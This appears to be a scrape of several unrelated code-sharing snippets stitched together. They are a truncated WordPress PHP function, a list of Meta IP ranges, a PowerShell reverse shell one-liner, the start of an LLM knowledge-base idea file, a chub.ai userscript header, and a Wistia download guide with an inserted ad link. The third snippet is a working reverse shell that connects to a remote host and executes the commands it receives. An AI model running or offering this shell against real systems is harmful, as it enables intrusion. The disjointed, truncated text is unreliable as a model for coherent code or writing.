| <?php | |
| // https://wordpress.org/support/topic/bulk-edit-record-matching-by-slug/#post-14026355 | |
| // Create custom PHP function that we can use in the "Post ID" field under Record Matching | |
| // We pass the post slug to our function, then we use this function tot look up the post by its slug, to return the Post ID | |
| function fs_get_post_by_slug( $slug, $post_type = 'post' ) { | |
| if ( $post = get_page_by_path( $slug, OBJECT, $post_type ) ) { | |
| return $post->ID; | |
| } |
| Meta (Instagram, Facebook) | |
| // Узлы | |
| 157.240.253.174, 157.240.253.172, 157.240.253.167, 157.240.253.63, 157.240.253.32 | |
| 157.240.252.174, 157.240.252.172, 157.240.252.167, 157.240.252.63, 157.240.252.38 | |
| 57.144.112.34, 57.144.110.1, 157.240.205.174, 87.245.223.97 | |
| // Подсети | |
| 213.102.128.0/24 | |
| 204.15.20.0/22 | |
| 199.201.0.0/16 |
| # Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
| $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
A pattern for building personal knowledge bases using LLMs.
This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.
Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.
| // ==UserScript== | |
| // @name Chub Desloppifier | |
| // @namespace Violentmonkey Scripts | |
| // @match https://*.chub.ai/* | |
| // @match https://*.characterhub.org/* | |
| // @version 1.7 | |
| // @author khanonnie | |
| // @description Tries to clean up the flood of shit cards on chub.ai. | |
| // @require https://openuserjs.org/src/libs/sizzle/GM_config.js | |
| // @homepageURL https://gist.github.com/khanonnie/b357f20bfe4e920d8e05fd47f1e6fa75 |
When Wistia hosts a video, it’s not a single .mp4 file — it’s delivered through HLS streaming. That means the video is broken into many small .ts chunks, described by a playlist (.m3u8). If you want to save the whole video, you need the playlist URL.
The easiest and most reliable way to find it is through your browser’s Network tab.
Actually its by getting the Wistia Video Downloader 👈 👈 👈 👈
